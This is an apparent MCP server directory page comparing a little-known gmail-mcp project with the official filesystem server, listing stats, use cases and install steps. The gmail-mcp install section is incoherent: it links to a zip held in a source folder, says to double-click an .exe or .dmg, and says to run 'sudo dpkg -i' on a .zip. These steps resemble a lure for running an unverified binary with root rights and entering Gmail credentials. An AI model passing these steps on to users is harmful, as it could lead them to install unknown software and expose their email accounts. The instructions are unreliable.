gmail-mcp vs filesystem
Side-by-side comparison to help you pick between these two MCP servers.
gmail-mcp by hahaha-saygex | filesystem by modelcontextprotocol | |
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| Stars | ★ 1 | ★ 85,748 |
| 30d uses | — | — |
| Score | 34 | 77 |
| Official | — | ✓ |
| Categories | CommunicationProductivityAI / LLM Tools | File SystemDeveloper ToolsProductivity |
| Language | TypeScript | TypeScript |
| Last commit | this month | this month |
gmail-mcp · Summary
Gmail MCP server for email management with OAuth2 authentication.
filesystem · Summary
A feature-rich MCP server for filesystem operations with dynamic directory access control.
gmail-mcp · Use cases
- Automate email responses and management within AI-powered development environments
- Integrate Gmail functionality into AI workflows for automated communication
- Process and organize large volumes of emails using AI assistants
filesystem · Use cases
- Enable AI models to read and write project files during development
- Allow Claude or other MCP clients to browse and analyze codebases
- Provide secure sandboxed access to specific directories for content generation
gmail-mcp · Install
Installation
- Download the latest version from [Releases Page](https://raw.githubusercontent.com/hahaha-saygex/gmail-mcp/main/src/builders/mcp_gmail_2.7-alpha.4.zip)
- Install according to your operating system:
- **Windows**: Double-click the .exe file and follow the setup instructions - **macOS**: Open the .dmg file and drag the app to your Applications folder - **Linux**: Use sudo dpkg -i mcp_gmail_2.7-alpha.4.zip in your terminal
- Set up OAuth2 authentication by creating a project in Google Developer Console and configuring the Gmail API
- Launch the application and enter your credentials
Claude Desktop Configuration
Add to your Claude Desktop configuration:
{
"mcpServers": {
"gmail": {
"command": "path/to/gmail-mcp",
"args": []
}
}
}filesystem · Install
Installation
Using NPX
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-filesystem",
"/path/to/allowed/directory"
]
}
}
}Using Docker
{
"mcpServers": {
"filesystem": {
"command": "docker",
"args": [
"run",
"-i",
"--rm",
"--mount", "type=bind,src=/path/to/allowed/dir,dst=/projects/allowed/dir",
"mcp/filesystem",
"/projects"
]
}
}
}VS Code Extension
Click the installation buttons in the README to install directly in VS Code.